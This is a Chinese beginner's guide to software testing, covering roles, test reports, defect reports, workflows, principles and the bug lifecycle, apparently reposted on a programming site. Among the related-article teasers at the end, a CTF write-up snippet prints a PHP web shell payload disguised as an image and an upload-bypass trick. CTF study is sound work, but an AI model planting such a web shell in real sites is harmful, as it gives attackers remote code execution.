第一篇:刚接触测试你应该知道什么

news2024/10/6 20:40:14

欢迎你接触软件测试这一行业。
刚接触它时,你肯定或多或少会有疑惑,我该做什么?大家口口相传的软件测试就是 【点点点】 真的是你日常的工作吗?

那么本文我将陪你一起,对我们刚接触到测试这个工作以后,应该怎么样学习测试方法、开展测试工作来做一个梳理。

1、软件测试的工作内容是什么?

首先,我们要了解到软件测试的工作流程呀;

我们已经开始进入工作了,就不能够再一言不发地埋头苦干了,沟通是你需要掌握的第一个技巧了。
如何进行有效进行沟通?
先来了解一下团队的组成:项目经理,产品经理,开发团队(前端,后端),测试团队,UI
在我们公司一个比较完善的人员组成是:前端1人、移动端1人、后端2-4人、测试1人、产品经理1人、UI1人
下面是我们日常要沟通的人员:


对于整个测试团队人员的角色和职责如何理解:

  • 测试工程师/测试人员:负责执行测试用例,发现并报告软件中的缺陷,参与缺陷的跟踪和验证。
  • 测试经理/测试主管:负责测试团队的管理和组织,制定测试策略和计划,协调资源和进度,负责测试质量的保证。

对于整个测试团队的目标和职责如何理解:

  • 发现缺陷:通过测试活动发现软件中的缺陷,确保软件质量。
  • 验证功能:验证软件功能是否符合需求和规格说明,保证软件的功能性。
  • 提高质量:通过测试过程持续地提高软件质量,确保软件满足用户的期望和要求。
  • 降低风险:通过测试活动降低软件发布和运行过程。

其次,我们也要通晓软件测试的文档如何管理维护:

  • 测试用例
    • 测试用例是日常工作中必不可少的内容,也是我们接触软件测试的基础的重中之中,一个好的测试用例的编写,有助于我们有效地开展测试。
  • 测试报告
    • 平时用的是禅道这个工具,在项目执行创建以后,可以创建一个测试单,在测试单里编写测试用例。方便项目管理
      • 下面是对于测试报告是什么chatgpt的回答
        1. 概述:介绍测试的目的、范围和背景信息。
        2. 测试执行情况:描述测试的执行情况,包括测试周期、测试用例执行情况、覆盖范围等。
        3. 测试环境:列出测试所用的软硬件环境,包括操作系统、浏览器、数据库等信息。
        4. 测试方法:说明测试所采用的方法论、技术和工具。
        5. 测试结果:总结测试的结果,包括通过的测试用例数量、失败的测试用例数量、未执行的测试用例数量等。
        6. 缺陷报告:描述发现的缺陷,包括缺陷的严重程度、优先级、重现步骤、影响范围等信息。
        7. 风险评估:对测试中发现的风险进行评估和分析,包括风险的影响程度和可能性。
        8. 建议和改进:根据测试结果和风险评估提出改进软件质量和测试过程的建议和意见。
        9. 总结:对测试活动进行总结和回顾,提出未来改进的建议和展望。

测试报告是测试工作的重要成果之一,它为项目管理、开发团队和其他利益相关者提供了对软件质量和测试过程的全面了解,帮助他们做出正确的决策和改进措施。

  • 缺陷报告
    • 缺陷报告就相当于是我们在禅道上面的提BUG,涉及到的内容多数是在测试工作开展之后,在测试过程中遇到的与需求不相符合的功能实现
      • 下面是对于缺陷报告所涉及到的内容chatgpt的回答
        1. 缺陷编号:为每个缺陷分配一个唯一的标识符,方便追踪和管理。
        2. 缺陷标题:简洁明了地描述缺陷的主要问题或现象。
        3. 缺陷严重程度:根据缺陷的影响程度和严重性,分配一个严重程度等级,如严重、一般、轻微等。
        4. 缺陷优先级:根据缺陷对系统功能和质量的影响程度,分配一个优先级等级,如高、中、低等。
        5. 缺陷描述:详细描述缺陷的现象、触发条件、重现步骤、期望行为和实际行为等信息。
        6. 缺陷影响范围:描述缺陷对系统功能、性能或用户体验的影响范围,以及可能的风险和后果。
        7. 缺陷环境:描述缺陷出现的环境和条件,包括操作系统、浏览器、设备等信息。
        8. 附件:包括可能的截图、日志文件、测试数据等附件,帮助更好地理解和重现缺陷。
        9. 报告人和报告时间:记录报告缺陷的测试人员和报告缺陷的时间。

缺陷报告是测试团队向开发团队和项目管理人员传达发现的问题的主要方式之一。

  • 测试工作总结
    • 测试工作的总结是对测试活动进行回顾和总结的过程,通常包括以下内容:
      1. 测试目标回顾:回顾测试工作的目标和目标是否达到,是否满足了项目的需求和要求。
      2. 测试执行情况总结:总结测试的执行情况,包括测试的时间范围、执行的测试用例数量、覆盖范围等。
      3. 测试结果分析:分析测试结果,包括通过的测试用例数量、失败的测试用例数量、未执行的测试用例数量等。
      4. 缺陷分析:分析发现的缺陷,包括缺陷的严重程度、优先级、影响范围等,以及可能的根本原因。
      5. 风险评估:评估测试中发现的风险,包括对项目进度、质量和成本等方面的影响,提出相应的应对策略和建议。
      6. 自身工作总结:对个人在测试过程中的工作进行总结,包括工作中遇到的问题、解决的方法、取得的成果等。
      7. 团队协作总结:对团队协作情况进行总结,包括团队成员之间的沟通、协作效率、问题解决能力等。
      8. 经验教训总结:总结测试过程中的经验教训,包括成功的做法、失败的经验教训、值得改进的地方等,为将来的测试工作提供借鉴和参考。
      9. 改进计划和建议:提出改进测试工作的计划和建议,包括工作流程、工具使用、团队协作等方面的改进措施。

2、软件测试的项目流程是什么?

让我们先来了解一下整个团队的开发流程是怎样的(敏捷开发流程为例):

  1. 项目立项阶段
    • 确定项目目标和范围:明确项目的目标和期望的成果,确定项目的范围和边界。
    • 制定项目计划:规划项目的时间、资源、成本和风险,确定项目的执行策略和方法。
    • 进行项目可行性分析:评估项目的可行性,包括技术可行性、市场可行性和经济可行性。
  2. 需求分析阶段
    • 收集需求:与利益相关者沟通,收集项目需求和功能要求。
    • 分析需求:对收集到的需求进行分析和整理,明确需求的优先级和实现方式。
    • 制定需求规格说明书:编写需求文档或用户故事,描述项目的功能和行为。
  3. 设计阶段
    • 技术方案设计:根据需求和规格说明书,制定项目的技术架构和设计方案。
    • 界面设计:设计项目的用户界面和交互流程,确定页面布局和功能设计。
    • 数据库设计:设计项目的数据库结构和数据模型,确定数据表和关系设计。
  4. 开发阶段
    • 编码实现:根据设计文档和规格说明书,进行程序编码和开发工作。
    • 单元测试:对开发的功能模块进行单元测试,验证功能的正确性和健壮性。
    • 集成测试:将各个模块集成到一起,进行系统级别的测试,验证模块之间的交互和整体功能。
  5. 测试阶段
    • 功能测试:验证项目的功能是否符合需求和规格说明书。
    • 性能测试:测试项目的性能指标,包括响应时间、吞吐量和并发性能等。
    • 安全测试:测试项目的安全性和稳定性,包括漏洞扫描和安全审计等。
  6. 部署阶段
    • 部署准备:准备项目部署所需的环境和资源,包括服务器配置和数据库初始化等。
    • 系统集成:将项目部署到生产环境,与现有系统集成和交互。
    • 用户培训:对项目的最终用户进行培训,教授如何使用和维护项目。
  7. 运维阶段
    • 监控和维护:监控项目的运行状态和性能指标,及时处理和修复问题。
    • 优化和更新:根据用户反馈和需求变化,对项目进行优化和更新,持续改进用户体验和功能性。

那么,测试的工作流程是什么样的呢?

  1. 需求分析阶段
    • 理解项目需求和功能规格。
    • 确定测试范围和测试目标。
    • 编写测试计划和测试用例。
  2. 设计阶段
    • 设计测试环境和测试数据。
    • 制定测试策略和方法。
    • 准备测试工具和测试资源。
  3. 执行阶段
    • 执行测试用例,包括手动测试和自动化测试。
    • 记录测试结果和缺陷。
    • 跟踪和管理缺陷的修复和验证过程。
  4. 评估阶段
    • 分析测试结果和缺陷统计信息。
    • 评估软件质量和测试覆盖度。
    • 提出改进测试流程和方法的建议。
  5. 报告阶段
    • 编写测试报告,总结测试活动和结果。
    • 向项目管理和相关利益相关者传达测试成果和建议。
  6. 改进阶段
    • 根据测试报告和评估结果,提出改进措施和建议。
    • 修改测试计划和测试用例。
    • 不断优化测试流程和方法,提高测试效率和质量。

3、软件测试你要掌握哪些知识?

要入手软件测试,你就要知道软件测试的理论是什么:

  1. 软件测试的目的
  • 软件测试的主要目的是确保软件产品的质量和可靠性,以满足用户需求和预期。具体来说,软件测试的目的包括:
    • 发现缺陷:通过执行各种测试活动,发现软件中的缺陷和问题,包括功能错误、性能问题、安全漏洞等。
    • 验证功能:验证软件是否符合需求和规格说明书,确保软件的功能和行为符合用户期望。
    • 评估质量:评估软件的质量水平,包括功能完整性、性能稳定性、用户体验等方面,为产品的发布和交付提供依据。
    • 提高可靠性:通过测试活动发现和修复缺陷,提高软件的可靠性和稳定性,减少软件在生产环境中出现故障的可能性。
    • 确保安全性:测试软件的安全性,发现并修复可能存在的安全漏洞和风险,保护用户数据和系统安全。
    • 优化用户体验:通过测试和反馈,改进软件的用户界面和交互流程,提升用户体验和满意度。
    • 减少成本:通过及时发现和修复缺陷,减少软件开发和维护过程中的成本,提高开发效率和质量。
  1. 软件测试的流程
    上面已经介绍 第二段
  2. 软件测试的原则

软件测试的原则是指在进行软件测试过程中应该遵循的基本准则和理念,以确保测试的有效性和质量。以下是一些常见的软件测试原则:

  • 全面性原则:测试应该覆盖软件的所有功能和需求,包括正常情况、异常情况和边界条件。
  • 独立性原则:测试应该独立于开发过程,由专门的测试团队或人员进行,避免开发人员对自己的代码进行测试。
  • 早期测试原则:测试应该尽早地开始,从需求分析阶段就应该开始考虑和规划测试活动,以尽早发现和修复缺陷。
  • 持续性原则:测试应该持续进行,随着软件开发的不断进行和变化,持续验证和确认软件的质量和稳定性。
  • 缺陷追踪原则:测试应该及时发现和报告缺陷,并跟踪和管理缺陷的修复和验证过程,确保缺陷得到有效地解决。
  • 自动化原则:利用自动化测试工具和脚本提高测试效率和覆盖率,减少人工测试的工作量和时间成本。
  • 重复性原则:测试应该可重复进行,保证测试结果的一致性和可靠性,便于排查和验证问题。
  • 最优化原则:测试应该根据项目的特点和需求,采用适当的测试策略和方法,以最优的方式实现测试目标。
  • 验证与确认原则:验证确保软件按照规格说明书的要求进行开发,确认确保软件满足用户的实际需求和期望。
  • 适应性原则:测试应该根据项目的变化和需求变化进行调整和优化,适应不同阶段和情境的测试需求。

4. BUG的生命周期
BUG的生命周期通常包括以下几个主要阶段:

  1. 新建(New):当测试人员或其他团队成员发现软件中的缺陷时,将其标记为新建状态,并记录缺陷的详细信息。
  2. 确认(Confirmed):经过验证后,确认缺陷的存在,并将其状态更新为确认状态。确认阶段通常由测试人员或负责缺陷管理的团队成员完成。
  3. 分配(Assigned):将已确认的缺陷分配给相关的开发人员或团队,负责处理和修复该缺陷。
  4. 修复(Fixed):开发人员根据缺陷的描述和复现步骤进行修复,并将修复后的代码提交到版本控制系统中。
  5. 重新测试(Reopen):测试人员对修复后的缺陷进行验证和重新测试。如果发现修复不完整或存在其他问题,将缺陷重新打开。
  6. 关闭(Closed):经过重新测试后,确认缺陷已被修复并且不再存在问题,将缺陷关闭,并记录相关的测试结果和修复信息。

5. 软件的开发流程
软件的开发流程通常包括以下几个主要阶段:

  1. 需求分析阶段:与客户和利益相关者沟通,收集和分析需求,明确项目的目标和范围。

  2. 设计阶段:制定软件的技术架构和设计方案,包括系统架构、数据库设计、界面设计等。

  3. 编码实现阶段:根据设计文档和规格说明书,进行程序编码和开发工作,实现软件的功能和模块。

  4. 测试阶段:对开发的软件进行功能测试、性能测试、安全测试等,发现和修复缺陷,确保软件质量。

  5. 部署和发布阶段:将测试通过的软件部署到生产环境中,进行用户培训和系统上线,正式发布软件产品。

  6. 维护和更新阶段:持续监控和维护软件的运行状态和性能指标,根据用户反馈和需求变化进行更新和优化。

  7. 产品质量模型
    产品质量模型是用于评估和管理软件产品质量的一种模型或框架,常见的产品质量模型包括ISO 9126、IEEE 1061、CMMI等。这些模型通常包括以下几个主要方面:

  8. 功能性(Functionality):指软件产品提供的功能和特性是否符合用户的需求和期望,包括功能完整性、正确性、适用性等。

  9. 可靠性(Reliability):指软件产品在一定条件下的稳定性和可靠性,包括可用性、可维护性、容错性等。

  10. 可用性(Usability):指软件产品的易用性和用户体验,包括界面友好性、操作简便性、学习曲线等。

  11. 效率(Efficiency):指软件产品在资源利用方面的效率和性能,包括运行速度、响应时间、资源消耗等。

  12. 维护性(Maintainability):指软件产品的可维护性和可修改性,包括代码清晰度、模块化程度、文档完整性等。

  13. 可移植性(Portability):指软件产品在不同平台和环境下的可移植性和适应性,包括跨平台性、兼容性、灵活性等。

这些方面综合评估了软件产品的质量水平,帮助开发团队和项目管理人员了解和控制软件开发过程中的质量风险和问题,以确保软件产品能够满足用户的需求和期望。

4、学习缺陷的管理工具

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1646948.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第七节课《OpenCompass司南--大模型评测实战》

OpenCompass 大模型评测实战_哔哩哔哩_bilibili https://github.com/InternLM/Tutorial/blob/camp2/opencompass/readme.md InternStudio 一、通过评测促进模型发展 面向未来拓展能力维度:评测体系需增加新能力维度(数学、复杂推理、逻辑推理、代码和…

[SUCTF 2019]CheckIn 1

解题步骤 上传木马图片&#xff0c;命名为b.php GIF89a <script languagephp>eval($_POST[cmd])</script>bp抓包&#xff0c;修改数据&#xff1b;然后可看到上传的文件 上传.user.ini文件&#xff0c;内容编写如下&#xff0c;然后bp抓包修改文件类型 GIF8…

MOS产品在光伏逆变器上的应用和产品选型

2023年全球光伏装机量表现优异&#xff0c;根据BloombergNEF统计数据&#xff0c;2023年全球光伏新增装机量444GW&#xff0c;同比增长76.2%&#xff0c;其中约一半新增装机量来自中国。 中国光伏新技术迭代不断&#xff0c;产业链降本增效加速。根据CPIA数据&#xff0c;2022年…

简述 BIO 、NIO 模型

BIO : 同步阻塞I/O&#xff08;Block IO&#xff09; 服务器实现模式为每一个连接一个线程&#xff0c;即客户端有连接请求时服务器就需要启动一个线程进行处理&#xff0c;如果这个连接不做任何事情会造成不必要的线程开销&#xff0c;此处可以通过线程池机制进行优化。 impo…

新的项目springboot

buybuyshenglombok <dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency> 添加依赖 lombok package com.example.demo.pojo;import lombok.AllArgsConstructor; import lombok.Data; import …

【机器学习与实现】线性回归分析

目录 一、相关和回归的概念&#xff08;一&#xff09;变量间的关系&#xff08;二&#xff09;Pearson&#xff08;皮尔逊&#xff09;相关系数 二、线性回归的概念和方程&#xff08;一&#xff09;回归分析概述&#xff08;二&#xff09;线性回归方程 三、线性回归模型的损…

BigDecimal:踩坑

问题描述 两个BigDecimal相除, 抛了异常 原因分析&#xff1a; Java 中使用 BigDecimal 做除法运算的时候&#xff0c;值有可能是无限循环的小数&#xff0c;结果是无限循环的小数&#xff0c;就会抛出上面这个异常。 来看看源码&#xff1a; public BigDecimal divide(BigD…

马常旭新歌《如愿》:音乐界的“旭日”再现

在这个春暖花开的季节&#xff0c;音乐界又迎来了一股清新的“旭日”气息。是的&#xff0c;就在2024年4月17日&#xff0c;马常旭的新歌《如愿》&#xff08;旭日版&#xff09;在网易云音乐上线了&#xff01;一年的等待&#xff0c;终于迎来了他的音乐回归&#xff0c;给我们…

【3D基础】坐标转换——地理坐标投影到平面

汤国安GIS原理第二章重点 1.常见投影方式 https://download.csdn.net/blog/column/9283203/83387473 Web Mercator投影&#xff08;Web Mercator Projection&#xff09;&#xff1a; 优点&#xff1a; 在 Web 地图中广泛使用&#xff0c;易于显示并与在线地图服务集成。在较…

在echarts中使用geojson地图

以中国地图为例 先看效果 代码实现&#xff1a; <div id"refChinaMap" :style"{ width: 75%, height: 100% }"></div>import * as echarts from "echarts"; import ChinaJSON from "./chinaMap.json";const initChinaMa…

场景文本检测识别学习 day09(Swin Transformer论文精读)

Patch & Window 在Swin Transformer中&#xff0c;不同层级的窗口内部的补丁数量是固定的&#xff0c;补丁内部的像素数量也是固定的&#xff0c;如上图的红色框就是不同的窗口&#xff08;Window&#xff09;&#xff0c;窗口内部的灰色框就是补丁&#xff08;Patch&#…

【Linux网络编程】自定义协议+HTTP协议

【Linux网络编程】自定义协议HTTP协议 目录 【Linux网络编程】自定义协议HTTP协议协议定制&#xff0c;序列化和反序列化应用层中的HTTP认识URL&#xff08;网址&#xff09;urlencode和urldecodeHTTP协议格式使用telnet获取百度的根目录资源HTTP的方法表单 HTTP的状态码HTTP常…

一般实现分布式锁都有哪些方式?使用 Redis 如何设计分布式锁?使用 zk 来设计分布式锁可以吗?这两种分布式锁的实现方式哪种效率比较高?

目录 1.Redis 分布式锁 &#xff08;1&#xff09;Redis 最普通的分布式锁 &#xff08;2&#xff09;RedLock 算法 2.zk 分布式锁 3.redis 分布式锁和zk分布式锁的对比 1.Redis 分布式锁 官方叫做 RedLock 算法&#xff0c;是 Redis 官方支持的分布式锁算法。 这个分布式…

[qnx] 通过zcu104 SD卡更新qnx镜像的步骤

0. 概述 本文演示如果给Xlinx zcu104开发板刷入自定义的qnx镜像 1.将拨码开关设置为SD卡启动 如下图所示&#xff0c;将1拨到On,2,3,4拨到Off&#xff0c;即为通过SD启动。 2.准备SD卡中的内容 首先需要将SD格式化为FAT32的&#xff08;如果已经是FAT32格式&#xff0c;则…

力扣每日一题114:二叉树展开为链表

题目 中等 提示 给你二叉树的根结点 root &#xff0c;请你将它展开为一个单链表&#xff1a; 展开后的单链表应该同样使用 TreeNode &#xff0c;其中 right 子指针指向链表中下一个结点&#xff0c;而左子指针始终为 null 。展开后的单链表应该与二叉树 先序遍历 顺序相同…

sass-loader和node-sass与node版本的依赖问题

sass-loader和node-sass与node版本的依赖问题 没有人会陪你走到最后&#xff0c;碰到了便是有缘&#xff0c;即使到了要下车的时候&#xff0c;也要心存感激地告别&#xff0c;在心里留下空白的一隅之地&#xff0c;多年后想起时依然心存甘味。——林清玄 报错截图 报错信息 np…

linux/windows安装Tomcat

安装tomcat 注意版本一致问题 Tomcat 10.1.0-M15(alpha)Tomcat 10.0.x-10.0.21Tomcat 9.0.x-9.0.63Tomcat 8.5.x-8.0.53规范版本 Servlet 6.0,JSP 3.1, EL 5.0 WebSocket 2.1&#xff0c;JASPIC 3.0 Servlet 5.0,JSP 3.0, EL 4.0 WebSocket 2.0&#xff0c;JASPIC 2.0 Serv…

20240507最新 ubuntu20.04安装ros noetic

ubuntu20.04安装ros 主要参考博客 【ROS】在 Ubuntu 20.04 安装 ROS 的详细教程_ubuntu20.04安装ros-CSDN博客 出现问题 1.ubuntu20.04 更换清华源报错 ubuntu20.04 更换清华源报错_gvfs metadata is not supported. fallback to teplme-CSDN博客 &#xff1f;&#xff1f…

CNN-BiLSTM-Attention(12种算法优化CNN-BiLSTM-Attention多输入单输出)

12种算法优化CNN-BiLSTM-Attention模型预测的代码。其中Attention模型可以改为单头或者多头&#xff0c;在代码中就是改个数字而已。代码注释已写好如何更改。 12种算法优化CNN-BiLSTM-Attention多特征输入单步预测代码获取戳此处代码获取戳此处代码获取戳此处 主要功能为:采用…

数据库SQL语言实战(七)

前言 这次的有一点点难~~~~~我也写了好久 练习题 题目一 在学生表pub.student中统计名字&#xff08;姓名的第一位是姓氏&#xff0c;其余为名字&#xff0c;不考虑复姓&#xff09;的使用的频率&#xff0c;将统计结果放入表test5_01中 create table test5_01(First_name…